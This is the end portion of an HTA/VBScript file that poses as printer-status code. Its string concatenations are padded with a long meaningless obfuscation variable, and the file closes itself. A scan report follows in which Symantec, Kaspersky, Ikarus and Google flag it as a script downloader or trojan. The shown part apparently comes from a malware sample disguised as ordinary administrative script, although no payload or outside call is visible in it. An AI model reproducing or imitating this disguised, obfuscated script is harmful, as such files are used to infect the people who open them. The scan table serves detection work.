str = str + L_Text_Msg_Status06_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 7

end select

PrnStatusToString = str

end function

function ExtPrnStatusToString(Status)

dim str

str = L_Empty_Text

select case Status

case 1

case 2

case 3

case 4

case 5

case 6

case 7

case 8

str = str + L_Text_Msg_Status08_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 9

str = str + L_Text_Msg_Status09_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 10

str = str + L_Text_Msg_Status10_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 11

str = str + L_Text_Msg_Status11_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 12

str = str + L_Text_Msg_Status12_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 13

str = str + L_Text_Msg_Status13_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 14

str = str + L_Text_Msg_Status14_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 15

str = str + L_Text_Msg_Status15_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 16

str = str + L_Text_Msg_Status16_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 17

str = str + L_Text_Msg_Status17_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 18

str = str + L_Text_Msg_Status18_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

end select

ExtPrnStatusToString = str

end function

self.close

</script>

</html>

Antivirus	Signature
Bkav	Clean
Lionic	Clean
ClamAV	Clean
CMC	Clean
CAT-QuickHeal	Clean
Skyhigh	Clean
McAfee	Clean
Malwarebytes	Clean
VIPRE	Clean
Sangfor	Clean
K7AntiVirus	Clean
K7GW	Clean
Arcabit	Clean
BitDefenderTheta	Clean
VirIT	Clean
Symantec	CL.Downloader!gen11
ESET-NOD32	Clean
TrendMicro-HouseCall	Clean
Avast	Clean
Cynet	Clean
Kaspersky	HEUR:Trojan.Script.Generic
BitDefender	Clean
NANO-Antivirus	Clean
ViRobot	Clean
MicroWorld-eScan	Clean
Rising	Clean
Sophos	Clean
Baidu	Clean
F-Secure	Clean
DrWeb	Clean
Zillya	Clean
TrendMicro	Clean
FireEye	Clean
Emsisoft	Clean
Ikarus	Trojan.VBS.Agent
Jiangmin	Clean
Varist	Clean
Avira	Clean
Antiy-AVL	Clean
Kingsoft	Clean
Gridinsoft	Clean
Xcitium	Clean
Microsoft	Clean
SUPERAntiSpyware	Clean
ZoneAlarm	Clean
GData	Clean
Google	Detected
AhnLab-V3	Clean
Acronis	Clean
VBA32	Clean
ALYac	Clean
TACHYON	Clean
Zoner	Clean
Tencent	Clean
Yandex	Clean
MAX	Clean
MaxSecure	Clean
Fortinet	Clean
AVG	Clean
Panda	Clean